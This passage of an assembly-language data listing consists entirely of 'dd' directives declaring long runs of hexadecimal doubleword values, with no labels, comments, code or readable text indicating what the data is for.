		dd 8DF060C4h, 0F7609BBh, 16503F4Bh, 6F58101h, 4563D866h
		dd 6E81A6Fh, 0F005FC04h, 0E1488933h, 0FB0F1345h, 44CB3C53h
		dd 25E7011h, 17DF9EEh, 20D5726Ch, 39572B9h, 31D3A91h, 2268C62Bh
		dd 0F6B120D0h, 272E9866h, 2DD88A42h, 6D400FFCh,	0C1C521E9h
		dd 85FCEB87h, 67CB4BCFh, 3002C858h, 0B55159EFh,	16686114h
		dd 7C86366Dh, 0DD34AD6Dh, 0CEAD32B0h, 6A4449DFh, 593A3A4Ch
		dd 0D0C1C4D3h, 0E6106C39h, 0CDFE125Ah, 19E2ED17h, 8A222833h
		dd 3A3F2913h, 5C853837h, 4050C8D2h, 0C64F43Ch, 0F6B825B0h
		dd 0F290290Bh, 579F0497h, 924B3FA6h, 0D0F00AF3h, 0AA595576h
		dd 0EA201641h, 0C2803A61h, 291F9638h, 2C598728h, 66D05091h
		dd 2FE78168h, 0E0B245D3h, 0B17010E9h, 0E102389Bh, 0DA89A118h
		dd 769EEF4Ch, 4D72D501h, 0A3A426Ah, 93F1366Fh, 2B0F9D50h
		dd 66574144h, 0E8C15D00h, 0C8723110h, 0C361D874h, 5B525308h
		dd 0D614A37Dh, 2A3B6FF6h, 566BCCCBh, 0EE5A899Ch, 0B34428Ch
		dd 24DAE953h, 2F8059DDh, 2FC62FF7h, 0A1880177h,	11B12708h
		dd 2126B34h, 7ED88E00h,	905B75F7h, 0A2729885h, 0C2EF7485h
		dd 0E0C522ADh, 0B9617027h, 3F494B85h, 10592909h, 0BE03AF93h
		dd 3C2379CAh, 58E951D2h, 2B4D215Dh, 97035C15h, 0BCBC5634h
		dd 0E21D29A5h, 87C77051h, 0A314EEFBh, 2168D180h, 0A57D983Ah
		dd 350A3F05h, 0D14AF2E9h, 1625A15Eh, 0D7E916A9h, 173E4148h
		dd 0E98BB151h, 668F34A6h, 6F73136h, 0ED35EF7Eh,	0D4C20804h
		dd 1CE45AAFh, 0ED6E94B8h, 1C5A28Bh, 83A5E2ADh, 4F0B7CF0h
		dd 0F81C127Ah, 0B301D615h, 0B268E2D1h, 868B353Ah, 0E92E036Dh
		dd 83C90DE4h, 194F03B4h, 26AEC2CFh, 309C7121h, 543B4554h
		dd 4E824829h, 12CAB300h, 90372B3Dh, 609D1793h, 0D31509E6h
		dd 0BFF8D90Bh, 4CC434BFh, 9AB24953h, 722C937Ch,	58A9F25Bh
		dd 67FDB183h, 1DC5DB88h, 75C75F92h, 2DAD34E5h, 959524D2h
		dd 8CDF84EFh, 84970BEFh, 86C8F6E6h, 75425DDFh, 6D302B51h
		dd 0EF2D803Dh, 0F0432C25h, 0C0564F89h, 36855B43h, 3BABBE3Fh
		dd 0EE318FC5h, 9884F35Dh, 0C1D6A107h, 0F2C007A5h, 76821997h
		dd 7810F239h, 5CA596Dh,	72475B27h, 95AC66A7h, 2B2C9DC7h
		dd 5612CACBh, 2E0359D0h, 87DA2244h, 6CB403BBh, 0F597F442h
		dd 5B7FE88Eh, 4160EA98h, 0D3A2584Bh, 0A508EE91h, 2BE82DADh
		dd 67305C0Fh, 1BC2EC28h, 81175135h, 0B37B852Ah,	0B6715B45h
		dd 0F1233E74h, 0A497503Ch, 7C1CA6E5h, 683D1850h, 0BCF17D8Bh
		dd 2EE2309h, 0BCE9FA01h, 461E7AAh, 80951EB1h, 2E99F2B4h
		dd 89C3CB02h
		dd 40295AD6h, 0F64F057Dh, 2851B065h, 0A5072DD8h, 4F18A738h
		dd 8DC422E9h, 93F973BEh, 346AC913h, 3828EE30h, 8071F6E9h
		dd 5F00FE31h, 1E08ED81h, 512959DFh, 803DDF5h, 5DEFC95Eh
		dd 4EE956D0h, 6C46F1B7h, 6874B290h, 78EAC1A6h, 25D33007h
		dd 35BDC9FFh, 7F3D203Bh, 0BE4DBF1Ch, 0BA0242A6h, 58CCFCC3h
		dd 1708266Bh, 0E3F7017Dh, 0D86ACF6Dh, 611893E7h, 0BE185734h
		dd 71361F1Ah, 344B16E9h, 5614C24Ah, 68EFA7D6h, 7B429C02h
		dd 0BD0098AFh, 0BE054F35h, 0C3897D15h, 0FD61D7E3h, 3284F091h
		dd 0B03BF380h, 0D1BC32DBh, 0ECD0F60Eh, 5E31896Dh, 93B91B4Ch
		dd 28E94F08h, 0FEF93E45h, 2F2C2460h, 701EA6ABh,	67623BE9h
		dd 0A2AC350Bh, 0C008E8A8h, 296850EDh, 97BB3802h, 8C235358h
		dd 0E916541Eh, 0C68A09B5h, 95401C51h, 762B49D0h, 5314950Ch
		dd 46EDC080h, 0F9D010Eh, 1270DFC1h, 26AC7210h, 1053516Ch
		dd 8EB8006Ah, 35153648h, 723B12DAh, 4048EC2Dh, 2FF7B2B7h
		dd 209F835h, 34565Eh, 3ACB0A0Eh, 99538E9h, 0E9B85974h
		dd 0E97FF396h, 69CE3D5Eh, 96619B40h, 168950E1h,	6AE0C180h
		dd 0C510606h, 7F216E2Ch, 0B780AB5Fh, 274FD668h,	751A101Bh
		dd 0EDE27E82h, 0D94B5374h, 8733494Bh, 97BB5220h, 46DEC742h
		dd 0D6261289h, 7C22AD0Bh, 74D26A30h, 6DF57220h,	6095CA5Ch
		dd 41125A88h, 96E929CFh, 7130F100h, 0D1F746D2h,	8BA310C1h
		dd 65381E10h, 0BED4945Bh, 0A0906434h, 7268E1F7h, 58329D79h
		dd 64C8C156h, 2558BD89h, 978EC370h, 6759AD17h, 0DE78921Ah
		dd 0E85D2055h, 0DF3F4357h, 0C1F9893Bh, 0EED3DAA4h, 0EAA0E839h
		dd 1FD40B6h, 3818F748h,	26358B79h, 805E424Dh, 0C36E5F49h
		dd 5CE9271Eh, 2D423E5Bh, 0A2205713h, 7B73DDF7h,	9720697Ch
		dd 0EBD126E0h, 2201143Fh, 4167C302h, 2C746934h,	5F0308A0h
		dd 0E3C1D3F7h, 0F2340108h, 0E978A1F5h, 8F835096h, 0FDF14047h
		dd 545E8CAAh, 1FE5C05Ah, 492BD15Eh, 0DF25F58h, 754E1830h
		dd 180223E5h, 5A567E2Ch, 0CE003C13h, 0EAE2BE60h, 55E99745h
		dd 0F8C18A26h, 4E489C4Bh, 0D9B65202h, 3542CEFEh, 5F4C1BF8h
		dd 0C8114836h, 0E95E0534h, 317FF06Ah, 72334CCEh, 32A65489h
		dd 0A9F30875h, 80596600h, 7C2852C1h, 0C7E67ED9h, 0B04A5A18h
		dd 565707E2h, 76106802h, 705E3F9Dh, 89654C38h, 0C0033959h
		dd 0F789B420h, 0C1D721FFh, 30F7FFE7h, 15527DBFh, 10DCD1A0h
		dd 0C714530h, 166E3284h, 0FA3118h, 0A8AE253h, 53027FB2h
		dd 0EA29E0BBh, 0FF904312h, 0E93462C0h, 0DF265CD5h, 9415AAD4h
		dd 0F53BB35Bh, 0B41EBD01h, 405DEA21h, 0EFDE7CB5h, 0EA9701E4h
		dd 0BD9750E5h, 0D94EB334h, 5FACD90Bh, 311C800Dh, 4205D89Ch
		dd 3A247F04h, 8C05755h,	171D3D96h, 8AD78906h, 0EEE90938h
		dd 0A1962EE8h, 0C088A02Ch, 0D2F4F1ECh, 0E07BA416h, 173D23B6h
		dd 948D2877h, 5B233542h, 6D688490h, 70F08D53h, 161984E4h
		dd 68891C0Ch, 878B29F9h, 0AF56AA07h, 8561EB52h,	0A82D00F2h
		dd 9F833E64h, 194541B8h, 60B6E1FCh, 0F7EE8703h,	810801D5h
		dd 71060EF6h, 7FDEE91Ch, 5880E01Eh, 0E92C3001h,	0F45E4AC7h
		dd 5A44B17Ah, 157D0CC3h, 0B20C0DFDh, 2895905h, 85B0E3D1h
		dd 7F93060h, 0B14FAC1Ch, 0DF093505h, 0DBD46FE9h, 4B7B10B3h
		dd 757A1640h, 0E47C87D0h, 0B856D0EBh, 594C0C2Dh, 88A3253Eh
		dd 812C5B0h, 6C0A7B0Fh,	0FB89F7Eh, 5389367Dh, 0D40C48E4h
		dd 0F15EAE5Ah, 0CE094C89h, 4216D396h, 519E681Eh, 82839359h
		dd 53F0936h, 0F119B3CEh, 0D304AA75h, 5000CE4Eh,	0D273E2B8h
		dd 4766548h, 4FB54ACCh,	1D4368F1h, 0FFBFA3F5h, 548EC697h
		dd 9FB44108h, 1D9C1613h, 1E34E9C5h, 0E705FB4Ah,	0D8857AB0h
		dd 0C1295A1Dh, 3D1189BDh, 617825ABh, 5B230575h,	4B7ABA7Dh
		dd 5F350357h, 0F4E25052h, 0FF608D4Ah, 409AFAF9h, 0FFC0CFF8h
		dd 0EF81D701h, 0D9481655h, 0E943D861h, 0EBA4C15Ah, 36AFBFE8h
		dd 0A9B01D66h, 7E1EBBECh, 0DCD37C38h, 355B0CC0h, 9F11040Dh
		dd 88C22919h, 0AE522A8Ch, 583E009Fh, 592D1E4Eh,	13C92630h
		dd 3709275Fh, 5215CF01h, 0F5313094h, 0FB7FC809h, 3C6566Ah
		dd 149D1036h, 0B7740C04h, 3BC5FF1Eh, 0AC589C8Bh, 1A539A04h
		dd 190ABF3Ah, 5E94A208h, 6DEC9314h, 0D06CF477h,	5A251A08h
		dd 0E9848047h, 59F448F0h, 0A26D4E25h, 89550F37h, 0C94166C5h
		dd 9F4895CEh, 0BD301FF4h, 583F0C61h, 0E4B5096h,	91AEAE8h
		dd 5EF5010Ah, 0C05FD36Ch, 86686802h, 20A4CC30h,	496382Eh
		dd 0EE4E0DA8h, 802B9A8Dh, 64C66811h, 0BA63E99h,	0CE09B41Fh
		dd 6E8A0847h, 3EEC161h,	0FC8EE730h, 0EF75F06h, 2FB8894Ah
		dd 9D39E9h, 172BBF47h, 97B17F0h, 0ECB108F8h, 35C28007h
		dd 818AF233h, 14205AD4h, 50269A0Fh, 14ACB344h, 0A64B4071h
		dd 68741820h, 33B2764Bh, 4FE7BCD2h, 0F45ACDB2h,	66413678h
		dd 0A92B412Bh, 2174E673h, 1B2D3F06h, 35B2CD2Ah,	983D3BACh
		dd 68098C39h, 3FC50FDh,	0A910B4C8h, 0E117DA4Ch,	0F8C7452Eh
		dd 59CFC252h, 6CD8001h,	0E09FF5CCh, 8F6F6EEh, 628FE9D6h
		dd 42CE8100h, 9047DE72h, 43961789h, 0D0AF0495h,	792BC148h
		dd 3158F845h, 7730C85Bh, 9C07D1E9h, 0E16E9295h,	251173D2h
		dd 6512624Bh, 92ECA770h, 1D8B489Fh, 7D4C9D30h, 2F498B90h
		dd 58F28937h, 69B2EAABh, 0E5D00AA5h, 1F77F438h,	0CC4B58E2h
		dd 9E1F7946h, 4C9760FEh, 2F52480Fh, 0B5164C07h,	11CBD077h
		dd 3976F82Ch, 138CF348h, 82000C7Ch, 9840C04Ch, 7FDA4C89h
		dd 4BCBD84h, 5AB2966h, 87B70F5Dh, 8825840Dh, 0D41E5CAh
		dd 23130h, 0F71BA660h, 5EFC1DFh, 0AA0B7998h, 8716BC3Ch
		dd 0E09F477Ch, 0F9D131Ah, 5FFB1689h, 0E96F054Bh, 0ED8452AEh
		dd 57A693C7h, 5760B74Fh, 670516E1h, 0DA3072A5h,	2F6D9470h
		dd 76FA3F4Eh, 0EF8C6995h, 0E97F743Ah, 5EA9D289h, 0C6E2BD92h
		dd 70FA5E9h, 0CF09D2Dh,	473FA34Eh, 98F97B2Dh, 90C801B0h
		dd 0F4E04E2Bh, 0CFE11C10h, 0DE590BD2h, 71696303h, 1E15D999h
		dd 24163003h, 0D6E853BEh, 14CCC4h, 63685152h, 2B9F3E05h
		dd 8F95F324h, 7185DEB8h, 588F8229h, 22673257h, 3BAE1F3h
		dd 3A20F909h, 0ADC8B52Ch, 1ED6A471h, 0F851918Ch, 25BB4E4Fh
		dd 6418CF08h, 0D9875C65h, 1EE9C721h, 382E9825h,	96B272E5h
		dd 25D35E4Fh, 7C5ADA57h, 2FD927ACh, 0C83AD346h,	5E811DA8h
		dd 535DE821h, 0DEAAA688h, 772D5B00h, 27901852h,	775AC781h
		dd 489D8098h, 0B7C5E983h, 0D828C602h, 0B5952C2h, 52B75380h
		dd 0B3061B2h, 0A4E95BFAh, 5D5AA0F0h, 0B2012A9Dh, 0EBC179B5h
		dd 1AA88E6Ah, 653CA640h, 0A85F920Ah, 49B2A685h,	0FF985202h
		dd 15994AE9h, 24A39D08h, 0F13233D0h, 0AD6DF2C8h, 87CB8937h
		dd 6FFC60D3h, 0B7045827h, 5E65EE3Eh, 0AE296581h, 6EFF8305h
		dd 3C1F5CC1h, 9884C066h, 2F053459h, 0F500683h, 72DF828h
		dd 2CFE78AAh, 3E0502Fh,	235C71F0h, 45EBC1BBh, 0FCD4318Ah
		dd 5E0EE303h, 604BDA9Dh, 412BFC5h, 0F74116D6h, 1F11ECD9h
		dd 39D080Ch, 9A4C981h, 0E720317Fh, 77ED983Ah, 1E2BC23h
		dd 573D0AEBh, 4A176E3Bh, 0D9F87A62h, 2EED4BE2h,	20FDA616h
		dd 0DA66D325h, 6AC32930h, 9A7F343Eh, 0A49979Eh,	18042E58h
		dd 5B0FA2D7h, 52E2CDEFh, 0B0E10A80h, 7AC2D8DEh,	9E9C0A0h
		dd 919490BDh, 0CCA9DA63h
		dd 477F117Dh, 68A29C6Fh, 32F260Ah, 0F0494C6Bh, 1C1217BBh
		dd 0EA6C0180h, 25AF1379h, 8F5644Fh, 60492509h, 2DC85A4Dh
		dd 2564F8F1h, 436794F0h, 1AF4DD87h, 0D55B0F92h,	0CE80DD01h
		dd 89B0CF81h, 5B8F028h,	440DF6Bh, 0BBB50F3Bh, 0AB0CA979h
		dd 65586433h, 56520B97h, 0EFB6D0CCh, 98506495h,	14B095Bh
		dd 20006D10h, 0B2DE78D5h, 64E9C7A0h, 80C51C4Ch,	17337C06h
		dd 12F15C09h, 1EA4202Ah, 154077FFh, 680BC611h, 79B0705Ah
		dd 0FE7B05D3h, 3B01E7A1h, 2039B721h, 582BCB56h,	0AD92B254h
		dd 9E8F28FBh, 66585225h, 9C11EEECh, 0A1D68816h,	167D82A7h
		dd 0A466064Fh, 94103A2Fh, 0D6DAF9DBh, 0AA66685Eh, 0A2319D4Ah
		dd 808DBD52h, 3A78B8F2h, 60E2C14Eh, 0AB1A1203h,	0C998076Ch
		dd 0A679C901h, 168EE913h, 0ADD30F6Dh, 925DC940h, 13C5D864h
		dd 5F526ABh, 4006AF78h,	34026892h, 5F012173h, 13A4CF81h
		dd 0E9401242h, 4F562F14h, 0E470101Dh, 38300D04h, 5B32C22Ah
		dd 0E91A02D5h, 0DB1D4B95h, 4CFDEBEFh, 121E608h,	1421A209h
		dd 0BB7F9014h, 0AB912F1Ch, 8A163A9Ah, 29AE30C5h, 0DE244233h
		dd 9E0003C3h, 0D2F702E2h, 9C2FB668h, 88484Ah, 690856EBh
		dd 0E92DEDD1h, 0F92609CAh, 7FC546CDh, 662D585Eh, 68B6422Eh
		dd 0FAE619B5h, 8A162C1h, 0E9D87B07h, 90CA5A5Fh,	62097FC4h
		dd 0CF016F0Bh, 15DD0456h, 2AE331AEh, 0F15E02B4h, 0D1D965D8h
		dd 0DF535507h, 6B11A1F4h, 0BF02FEDAh, 3E2E21F0h, 63D520C1h
		dd 50ACD649h, 0D508E9C4h, 0F762EA0Ah, 1F044F3h,	8C1FA7EFh
		dd 6CFB0135h, 0C04284FEh, 0E4D9FF2h, 68E5B750h,	4CAD3D7h
		dd 80DAF706h, 48671F61h, 82C0554Ah, 0BD8AAC2h, 0D72901E6h
		dd 0BE26F704h, 3ADA1F29h, 35D45FC2h, 69B8C181h,	0C9D4128h
		dd 825893F0h, 209E085h,	325C761h, 2604D129h, 59EC267Bh
		dd 688FEEA2h, 0D65BA833h, 1054A30Dh, 2E2DED60h,	2FFCA9FAh
		dd 475FB0E8h, 87428082h, 2B369269h, 0B02DD531h,	0EB10B322h
		dd 0D5092619h, 7CEEFE98h, 17DC6BDDh, 58A25E7Ah,	42814A5Fh
		dd 82CBAF70h, 6E72005Eh, 0C5C32780h, 0B14E1E71h, 0C39F4477h
		dd 1DE56E09h, 39F60030h, 9E2EB81Ah, 0DA220A5h, 3C4441E0h
		dd 46E9E112h, 17820C08h, 0BB8C2F40h, 20CB66BDh,	3507389Ch
		dd 3EB310BEh, 0A61CFA50h, 99014F36h, 1C8A2FC5h,	4C07A35Bh
		dd 0C0D11340h, 8B9EA0FDh, 6C712E74h, 880DB082h,	389A75C5h
		dd 2BA92061h, 0C9ED7734h, 9876F297h, 9AB169BFh,	0BCF24C1Ah
		dd 2CC8FE2Dh, 2B7A6B36h, 0EE402426h, 10156867h,	0C154214Ah
		dd 8702E310h, 8EAC1CAh,	878E914Ah, 127D0C00h, 5502D22Dh
		dd 0D0013982h, 0AF078C05h, 9690AA5Ah, 5EEE9015h, 895E8805h
		dd 0C5F3E64Bh, 53D612D2h, 0B01A825h, 0DE5258E5h, 0ABE94231h
		dd 0EA801BE8h, 11C8B44Eh, 0E5D03439h, 16FC0A04h, 0A2C96FB7h
		dd 280E9276h, 0CCBABCEBh, 89742DE2h, 2DEB4CF6h,	38E4DD64h
		dd 47C2BA04h, 14EC2246h, 35DAA10h, 1274C05h, 0D0B3D23Bh
		dd 0EBC12D1Ah, 0F7179770h, 0DDBC6E2Bh, 3E11DD04h, 9304FA38h
		dd 0B2000E8Fh, 9DCA802Dh, 1C83C8C8h, 5AD00228h,	79E15E2Ch
		dd 51BD3004h, 1756E915h, 34DF26A5h, 0A7204216h,	635E52C8h
		dd 69B66A73h, 7CBB79C0h, 0A963B19h, 0EBCD5874h,	0EEB4636Eh
		dd 533F5AC0h, 0C6DE0128h, 565B0880h, 12644E97h,	4C1385Ch
		dd 0E19DA1C5h, 0B38A3AFCh, 4590277Fh, 514C3BEEh, 0DAA15B2Ah
		dd 0B25E5BC6h, 0E9A14139h, 6F5D5E55h, 0CD564223h, 7D7C118Bh
		dd 973EB650h, 80ECC095h, 300AECEDh, 0F3D059EBh,	702976B7h
		dd 27879F2Bh, 4B50CB2Ch, 0CACDD94Eh, 525DCB7Ah,	0A8A897B4h
		dd 9391A34Ah, 2942F4E1h, 44C920ECh, 3E3EB520h, 27033FC1h
		dd 681A07B1h, 2B2524CAh, 0F7C64294h, 775A933Bh,	4C36ECA0h
		dd 9712AB5Ah, 804AEDADh, 4CBD7FF1h, 50EB0081h, 0E96AA238h
		dd 0EEB51644h, 4D9F9A02h, 2A7517D2h, 7F269CBAh,	0E6DA1F2Dh
		dd 1AFA4C10h, 4875BE34h, 0B932B00Ch, 5B310B4Ch,	331844F1h
		dd 0A507AC20h, 57915D90h, 216B025Fh, 605CE9C6h,	0C3CDA075h
		dd 5B3F1A3Dh, 12001998h, 1328E8AEh, 0CACB2934h,	859080Bh
		dd 0BFC0CFEDh, 5A223BC2h, 0E9B6C01Bh, 0C8C3BE34h, 7AD3F74Bh
		dd 80AC5B04h, 8899B71Ch, 535BF82Eh, 11C6260Bh, 9F403834h
		dd 4C856591h, 0A5E2AC7Bh, 0C72C3FE4h, 262ABB02h, 3D2F507Eh
		dd 0F4A3DAB9h, 712F1638h, 2F10B831h, 5683892Dh,	1414593Fh
		dd 0F784AEBCh, 5FF0139Bh, 9FD9A607h, 2D8D0900h,	0E0A402E8h
		dd 19BFAAE8h, 1E380130h, 56653025h, 91C96889h, 0B8FA0CF6h
		dd 5C01B274h, 9D900F88h, 0E61E4136h, 6697167Ah,	339F1C42h
		dd 0F6806D2Dh, 1B697B08h, 0F29172Fh, 0C6C8AC3h,	2ADC5E47h
		dd 19681204h, 1889CD5Ch, 6FF00C26h, 5C011211h, 0E90C0C90h
		dd 86D54CCFh, 53610F54h, 48FD17F2h, 47381055h, 0F681830Fh
		dd 90DA1988h, 0B1AF0AE9h, 7C2FBCB0h, 21595101h,	6AA8E1E8h
		dd 8229CD09h, 0A0E26CF6h, 0B606B0F8h, 6620E1B4h, 2F21412Ah
		dd 0CDCBBCD1h, 20E3830h, 0E907E3C0h, 94755442h,	5DE59087h
		dd 2B5875E2h, 0B2271658h, 4154064Ah, 98BFF0B8h,	82E80ABCh
		dd 9FD40F42h, 95F32158h, 0DB098118h, 95850F0Bh,	8BC554A5h
		dd 3CDEFDC2h, 11C70D4Fh, 0B345602Eh, 3E4E657Bh,	89552BC2h
		dd 5986A190h, 0C37BD828h, 0D9E7CAFDh, 0DD51A42Bh, 54EB1149h
		dd 0AF85C728h, 0B6D7304Eh, 4AC351C6h, 48DD88ADh, 5F20E5D3h
		dd 0CC968170h, 685A5881h, 0DD6B5EBAh, 0E7E10889h, 0E01D4A67h
		dd 0D4F25F72h, 6E03CBB5h, 5B00280Bh, 1E03A7C6h,	63C14E01h
		dd 0D9FC9EEEh, 0EDC0341Eh, 75E6FE14h, 6028B52Dh, 9FD88C7h
		dd 5C68D5F6h, 7159E852h, 0D8B20F59h, 5A66C020h,	9EE8C580h
		dd 9DD02F5Eh, 0D6A1C0B5h, 0E9BB1AB7h, 0E30769A3h, 5362855Bh
		dd 20F287C2h, 4E8C3034h, 5E2D5802h, 5C7FE00Ch, 4F072075h
		dd 0F76E215Bh, 0D31F21D1h, 50E35500h, 1A63BF57h, 4C6D7C96h
		dd 0E07B70D7h, 211705ABh, 81D15BDFh, 0C11CEF6Dh, 2F756152h
		dd 0B5CB8E21h, 39E09E54h, 5D9967ABh, 0E07DF5C2h, 0DD48F761h
		dd 7FCC208Dh, 5DEF275Ah, 0DEE41E78h, 2C7943DEh,	0A117C0F7h
		dd 0C65B0A4Bh, 5B1CF865h, 0F4F574D0h, 0B85FCD44h, 9BDBC344h
		dd 2A5289A3h, 0D13B0817h, 85CBA595h, 0BAB55179h, 99EDF3C5h
		dd 9638CF94h, 0D696E14Eh, 0FE1002E8h, 0A0505880h, 81159F2Ch
		dd 42017E57h, 691C6D32h, 9C6596F5h, 0B0688340h,	475F3E0Ch
		dd 0F3395F72h, 76F4D6D7h, 5F1040DBh, 41558BA1h,	2ACEB475h
		dd 3F78AACCh, 825B1A57h, 94F7051Bh, 2A1CA264h, 981207CCh
		dd 0B12818A1h, 0E8793488h, 84D8BFA5h, 40180509h, 515A7066h
		dd 673108EEh, 0BFF563C4h, 486F54C0h, 8339A104h,	968201C2h
		dd 795E07F6h, 0BD552802h, 0EF4055FCh, 60A55C3Fh, 246A0C56h
		dd 7DB8134Bh, 0AD220A64h, 4C4E5180h, 29700B6Dh,	0ED305FF8h
		dd 0AF94B5E9h, 2FA6782Dh, 3B79D930h, 11C18061h,	13A92130h
		dd 61C2BEE9h, 9DE70DEAh, 3A00800Eh, 0B450CFFEh,	0CCF030h
		dd 7ECC092h, 4FE9DCF6h,	0DA5524Ah, 7BA1E0DCh, 0A0315AF5h
		dd 758E6FDh, 2736011Fh,	0F0898206h, 0E9C3F884h,	0F55197F9h
		dd 2210EE54h, 2C4213F3h, 0F2A182DDh, 43D22791h,	0C209C54Fh
		dd 0A64C5B87h, 0D46844C2h, 7858FCBCh, 5C16EA4Dh, 0C1C31C6Dh
		dd 0F882326h, 4FC1A8CCh
		dd 0FE2A0563h, 0CE713C7h, 316FDDE2h, 6EE27C5Ah,	5885F7Ch
		dd 0D0015FC5h, 267B2CBAh, 4659652Dh, 13E916DBh,	0EE5A449Eh
		dd 897DF25Dh, 0A8B48C5Ch, 1400BD7Eh, 0DA28B4B3h, 13815B4Bh
		dd 0A231EC86h, 0E4800880h, 0F1C9E9E5h, 20556C5h, 214835FAh
		dd 3C42759h, 6821B256h,	137CB94Eh, 1263AD2Ah, 1A700080h
		dd 318E41BCh, 0DEA78897h, 17FD871Ch, 9540EFE9h,	357DFDBEh
		dd 0EE2DBD40h, 0C8116A0Ch, 85E9853Fh, 0E82746FBh, 38B7165Dh
		dd 0D264E92Eh, 4A9FB391h, 0F9EFAE40h, 0A2D21AE0h, 5FB725F8h
		dd 5D78CADCh, 96805771h, 810B5D05h, 5972C201h, 0DAE96E6Fh
		dd 0DE5F4F74h, 0A1BF5263h, 96DCF859h, 0E6130ADCh, 803E17CBh
		dd 0E846152Fh, 55113441h, 926F43E9h, 13D51CD7h,	60E29A47h
		dd 0A8B27140h, 16B43BAh, 0F1874791h, 0D231D6F7h, 80B9343h
		dd 92E78CE9h, 1B634850h, 71C82620h, 1CA71850h, 0B54D04ACh
		dd 0CB143BBBh, 34144AB2h, 0C2029B40h, 7CF472AFh, 17589762h
		dd 59F09CB2h, 9776089Dh, 0D5C46881h, 8B536CC6h,	26CA5551h
		dd 6039E208h, 66D8F927h, 1F74C668h, 0B33120BAh,	4B2E34BBh
		dd 79F3D724h, 0DF103D7Dh, 72236A93h, 0B55C0CA9h, 5A9CE958h
		dd 243CF233h, 0F96E0366h, 0A42A84EBh, 5A73D114h, 734F94Ch
		dd 606648B6h, 4088976Fh, 68E8A86Ah, 0CC2B5A32h,	15406F6h
		dd 1BB05708h, 68253EB6h, 4CDC77Ah, 9FA0876h, 0C53683FDh
		dd 0A586AEE0h, 0E9EB0105h, 0BA47E504h, 95E0E1F3h, 0C8D821E2h
		dd 1F28DE1Ah, 0A404F17Ch, 0CA0134E7h, 96C69C3h,	4EF380C3h
		dd 201D3D81h, 0DF2E12D9h, 1DA09994h, 6FC0C827h,	0AB132AC1h
		dd 0D9293E75h, 1FC5E90h, 2CB75366h, 982FFA88h, 0E200C027h
		dd 86F28003h, 0BF78CC68h, 58A1A266h, 18D93FCAh,	80063280h
		dd 0D330C1C2h, 0B8AE92Fh, 0E19E545Ch, 79233068h, 0BD4320F8h
		dd 0ED54DF11h, 5F4E243Ch, 25962D05h, 76A15EFEh,	0ACE90701h
		dd 8F4BB82Ch, 256D48BFh, 559CC632h, 817A95DDh, 235A7F2Fh
		dd 0C5680AFEh, 0A9A6723Dh, 1C328201h, 0CED0B96Bh, 0C7CB4A90h
		dd 5BCA26B4h, 58A7525Ch, 57191D06h, 0D21500A7h,	0BF430C40h
		dd 70BE142h, 3E077661h,	0CC2A03C0h, 0A03EC066h,	816BD019h
		dd 4B5BE61Dh, 0B80A676Eh, 0D5B381BFh, 0BEA6D15Ch, 2712F3B0h
		dd 6858B151h, 7A27E13h,	0C66106C2h, 0F32B87ADh,	436225FCh
		dd 0C804C309h, 2E60D7E2h, 2D6101h, 33E55AC0h, 0A45AC7E9h
		dd 0C94E7EE7h, 0A28B3F81h, 0B392E45Bh, 0E3C05517h, 77F3F004h
		dd 599EA382h, 242C896Ch, 5DC4B074h, 989716BDh, 0DDB6CE6Ah
		dd 4B939425h, 68CCD854h, 0CC392C2Dh, 1CAE26F6h,	0BA9209Eh
		dd 6D251DF8h, 5C816476h, 89BADFE3h, 0C205003Eh,	1D7C1F87h
		dd 0D8EA0128h, 7F5D0881h, 814C6F8Ah, 0EA9BF130h, 9D271C5Bh
		dd 9086F05Ah, 0AA743166h, 0C82EC31Fh, 8BBC035Dh, 6B022828h
		dd 0E91BB754h, 0F4617824h, 0A777040Ah, 0C2EF2978h, 49DE4003h
		dd 35D6EB87h, 6CB8AFC4h, 1E99247Fh, 0EB02C268h,	9D83F37Eh
		dd 0DF65A331h, 101329F9h, 8038E61Eh, 2049F868h,	28BD84E3h
		dd 9F7D4CE8h, 683A4266h, 5AAA53B4h, 2068FBDCh, 4D901635h
		dd 2075F24Bh, 0FE6F60EBh, 497BB666h, 0C1FFC125h, 15A5F8EEh
		dd 0E9537C60h, 0C9D28D2Dh, 7BE15A93h, 0A7600EA5h, 0D0D2BC1h
		dd 0D409D9E7h, 689D98E7h, 0F840F1E3h, 5003153Ah, 82C6AC18h
		dd 0C6AFD1F6h, 0B0E0E6C4h, 23E2007h, 391BB906h,	2446D85h
		dd 4D8D680Fh, 955893E9h, 3E1C118h, 3FDBCC7Eh, 892A8720h
		dd 54CCB5DCh, 0BE20B94Ah, 30579FEEh, 5A0C2198h,	2D4A9E26h
		dd 80110A5h, 0B3C96E9h,	7A95BF00h, 83B81BBAh, 7DDD8C1Fh
		dd 6E40D9D3h, 4A2F36BDh, 2492A03Ah, 5A0083A0h, 747A3765h
		dd 168CB850h, 166DC62Fh, 0B74C476Ah, 13B30A5Dh,	16A6ED5Bh
		dd 2BBDE85Ah, 1B67C8DEh, 0E5F5290Eh, 4388D945h,	1D330BC3h
		dd 5E0F6567h, 3C08A81Ch, 0CCCF31E9h, 54165084h,	0CEC85358h
		dd 0CB2D095Bh, 0DD85293Fh, 85E8FDD8h, 60E4E66Ch, 168516F1h
		dd 2DF3E820h, 0EF97C3CEh, 0B397D733h, 0E69ED0h,	72764A35h
		dd 8278ED2Dh, 0B1C7975h, 71EE3624h, 0AD81232Ch,	3AE8BA52h
		dd 71301EF1h, 3F0616B2h, 0AC201307h, 582DB0E9h,	20E00178h
		dd 3E334805h, 86B12B1Bh, 7BA60705h, 0C571FF03h,	0A24C473Fh
		dd 0EA5905FBh, 2A8260A5h, 3696D7C0h, 0C6D376DFh, 662DCB56h
		dd 6A30412Fh, 4C092522h, 69020739h, 65E96145h, 7FC555ACh
		dd 4097403Bh, 0CD280191h, 60F4D159h, 1A91956Ah,	58791C03h
		dd 0E60E0C5Ah, 0C80B0962h, 0C11F327Ah, 4E9805EEh, 0B886EB2Fh
		dd 29F55ED6h, 612B38FEh, 0D935C528h, 5D1241E2h,	0B9F951F1h
		dd 0DB2CC36Bh, 0F78100D4h, 4EFE1B9Fh, 241BF505h, 0E6258839h
		dd 423BDB58h, 0BB05FC1Fh, 0A2C80A45h, 597897E2h, 1E4F95F7h
		dd 47520914h, 874E28FAh, 90D76EE2h, 40A5E92Eh, 43E9FE82h
		dd 692646F7h, 0EA477290h, 904C2468h, 0D0F265E4h, 73F67806h
		dd 4CC87C12h, 69CFA459h, 25F2F393h, 0BA880099h,	7A944B42h
		dd 292A584Eh, 6F22EB80h, 0BF906404h, 755A0C05h,	0CEA20123h
		dd 0CC01F2Dh, 848EFC1h,	0AF894F40h, 0B03FB060h,	5F3EB8AFh
